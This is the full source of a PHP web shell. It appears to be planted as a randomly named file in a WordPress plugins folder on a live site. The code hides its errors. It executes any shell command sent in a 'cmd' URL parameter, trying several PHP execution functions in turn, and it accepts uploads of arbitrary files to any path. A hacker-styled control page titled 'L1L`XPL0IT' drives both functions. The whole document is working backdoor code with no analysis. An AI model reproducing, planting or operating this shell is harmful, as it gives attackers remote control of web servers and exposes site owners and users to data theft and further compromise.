File: /home/dtptviut/domains/billigste-fagforening.dk/private_html/wp-content/plugins/rbgrrhd.php
<?php
@error_reporting(0);
@ini_set('display_errors',0);
@set_time_limit(0);
if(isset($_GET['cmd'])){
echo '<pre>';
$c=$_GET['cmd'];
if(function_exists('proc_open')){$p=proc_open($c,array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')),$pp);echo stream_get_contents($pp[1]);fclose($pp[0]);fclose($pp[1]);fclose($pp[2]);proc_close($p);}
elseif(function_exists('popen')){$h=popen($c,'r');while(!feof($h)){echo fread($h,4096);}pclose($h);}
elseif(function_exists('shell_exec')){echo shell_exec($c);}
elseif(function_exists('system')){system($c);}
elseif(function_exists('exec')){exec($c,$o);echo implode("\n",$o);}
else{echo 'NO_EXEC';}
echo '</pre>';exit;
}
if(isset($_FILES['f'])){
$n=$_FILES['f']['name'];
$d=isset($_POST['path'])&&$_POST['path']!==''?$_POST['path']:__DIR__.'/'.$n;
if(@move_uploaded_file($_FILES['f']['tmp_name'],$d)){echo 'OK: '.$d;}else{echo 'FAIL';}exit;
}
echo '<html><head><title>L1L</title><style>body{background:#000;color:#0f0;font:14px monospace;padding:20px}input,button{background:#111;color:#0f0;border:1px solid #333;padding:8px 12px;margin:5px}form{margin:20px 0}h2{color:#0f0}pre{background:#111;border:1px solid #333;padding:10px;max-height:400px;overflow:auto}</style></head><body><center><h2>L1L`XPL0IT</h2><form method=post enctype=multipart/form-data><input type=file name=f><input type=text name=path placeholder="dest path"><input type=submit value=Upload></form><form method=get><input type=text name=cmd placeholder=command size=50><input type=submit value=Exec></form></center></body></html>';
?>